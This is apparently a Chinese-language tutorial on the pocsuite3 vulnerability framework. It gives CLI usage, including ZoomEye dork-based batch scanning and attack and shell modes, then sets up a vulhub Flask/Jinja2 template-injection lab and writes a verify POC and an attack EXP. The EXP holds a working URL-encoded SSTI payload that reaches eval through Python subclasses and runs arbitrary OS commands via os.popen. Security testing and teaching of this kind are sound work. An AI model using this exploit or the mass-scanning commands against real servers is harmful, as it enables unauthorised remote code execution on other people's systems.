pocsuite3使用方法
verify验证:
python pocsuite.py -r pocs/test.py(脚本路径) -u http://xxx.com --verify
批量验证:python pocsuite.py -r pocs/test.py(脚本路径) -f url.txt --verify
加载所有poc:python pocsuite.py -r pocs/*-u http://xxx.com --verify
使用多线程:python pocsuite.py -r pocs/test.py(脚本路径) -u http://xxx.com --verify --threads 10
使用zoomeye搜索引擎搜索ecshop测试ecshop漏洞:python cli.py -r pocs/ecshop_rce.py --dork ecshop --threads 5
attack模块:python pocsuite.py -r pocs/test.py(脚本路径) -u http://xxx.com --attack
使用shell交互式模式:python pocsuite.py -r pocs/(脚本路径) -u http://xxx.com --shell
使用command调用外部传递参数:python pocsuite.py -u http://xxx.com -r pocs/(poc脚本路径) --attack --command “whoami”
Flask(Jinja2)服务端模板注入搭建
下载vulhun
环境使用docker
搭建
docker-compose build
docker-compose uo -d
通过下图源码可以看到name
的值是从get
参数获取
测试执行Jinja2
模板语言
这里Jinja2
是可以执行的,接下来使用pocsuite
编写漏洞验证poc
POC、EXP代码构成
编写POC
实现类DemoPOC
,继承自POCBase
类:
import base64
import binascii
from collections import OrderedDict
from urllib.parse import urljoin
from requests.exceptions import ReadTimeout
from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, REVERSE_PAYLOAD, OptString, OptItems, \
OptDict, VUL_TYPE
from pocsuite3.lib.utils import get_middle_text
class DemoPOC(POCBase):
填写POC
信息字段
vulID = '1571' # ssvid ID 如果是提交漏洞的同时提交 PoC,则写成 0
version = '1' # 默认为1
author = 'seebug' # PoC作者的大名
vulDate = '2014-10-16' # 漏洞公开的时间,不知道就写今天
createDate = '2014-10-16' # 编写 PoC 的日期
updateDate = '2014-10-16' # PoC 更新的时间,默认和编写时间一样
references = ['https://xxx.xx.com.cn'] # 漏洞地址来源,0day不用写
name = 'XXXX SQL注入漏洞 PoC' # PoC 名称
appPowerLink = 'https://www.drupal.org/' # 漏洞厂商主页地址
appName = 'Drupal' # 漏洞应用名称
appVersion = '7.x' # 漏洞影响版本
vulType = VUL_TYPE.UNAUTHORIZED_ACCESS # 漏洞类型,类型参考见 漏洞类型规范表
category = POC_CATEGORY.EXPLOITS.WEBAPP
samples = [] # 测试样列,就是用 PoC 测试成功的网站
install_requires = [] # PoC 第三方模块依赖,请尽量不要使用第三方模块,必要时请参考《PoC第三方模块依赖说明》填写
desc = '''
Drupal 在处理 IN 语句时,展开数组时 key 带入 SQL 语句导致 SQL 注入,
可以添加管理员、造成信息泄露。
''' # 漏洞简要描述
pocDesc = '''
poc的用法描述
''' # POC用法描述
编写验证模式
def _verify(self):
output = Output(self)
# 验证代码
result = {
# 不管是验证模式或者攻击模式,返回结果 result 中的 key 值必须按照下面的规范来写
# [ PoC结果返回规范 ]( https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md#resultstandard )
'Result': {
'DBInfo': {
'Username': 'xxx', 'Password': 'xxx', 'Salt': 'xxx', 'Uid': 'xxx', 'Groupid': 'xxx'},
'ShellInfo': {
'URL': 'xxx', 'Content': 'xxx'},
'FileInfo': {
'Filename': 'xxx', 'Content': 'xxx'},
'XSSInfo': {
'URL': 'xxx', 'Payload': 'xxx'},
'AdminInfo': {
'Uid': 'xxx', 'Username': 'xxx', 'Password': 'xxx'},
'Database': {
'Hostname': 'xxx', 'Username': 'xxx', 'Password': 'xxx', 'DBname': 'xxx'},
'VerifyInfo': {
'URL': 'xxx', 'Postdata': 'xxx', 'Path': 'xxx'},
'SiteAttr': {
'Process': 'xxx'},
'Stdout': 'result output string'
}
}
if result: # result是返回结果
output.success(result)
else:
output.fail('target is not vulnerable')
return output
编写攻击模式
def _attack(self):
output = Output(self)
result = {
}
# 攻击代码
pass
如果没有攻击模式,可以在_attack()
函数下加入return self.verify()
,无需再写_attack()
函数
编写验证POC
通过上面的验证模式,可以知道对返回结果的规定就可以使用如下代码验证
使用验证poc
添加到请求中,判断响应,判断成功则返回成功信息
def _verify(self):
result = {
}
path = "?name="
url = self.url + path
#print(url)
payload = "{
{22*22}}"
#print(payload)
try:
resq = requests.get(url + payload)
if resq and resq.status_code == 200 and "484" in resq.text:
result['VerifyInfo'] = {
}
result['VerifyInfo']['URL'] = url
result['VerifyInfo']['Name'] = payload
except Exception as e:
return
return self.parse_verify(result)
尝试利用
编写利用EXP
使用利用代码编写exp
def _attack(self):
result = {
}
path = "?name="
url = self.url + path
#print(url)
cmd = self.get_option("command")
payload = '%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()'\
'%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20'\
'for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__'\
'%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()'\
'%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__("os").popen("'+cmd+'").read()%27)'\
'%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor'\
'%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D'
#print(payload)
try:
resq = requests.get(url + payload)
t = resq.text
t = t.replace('\n', '').replace('\r', '')
print(t)
t = t.replace(" ","")
result['VerifyInfo'] = {
}
result['VerifyInfo']['URL'] = url
result['VerifyInfo']['Name'] = payload
except Exception as e:
return
return self.parse_attack(result)
返回结果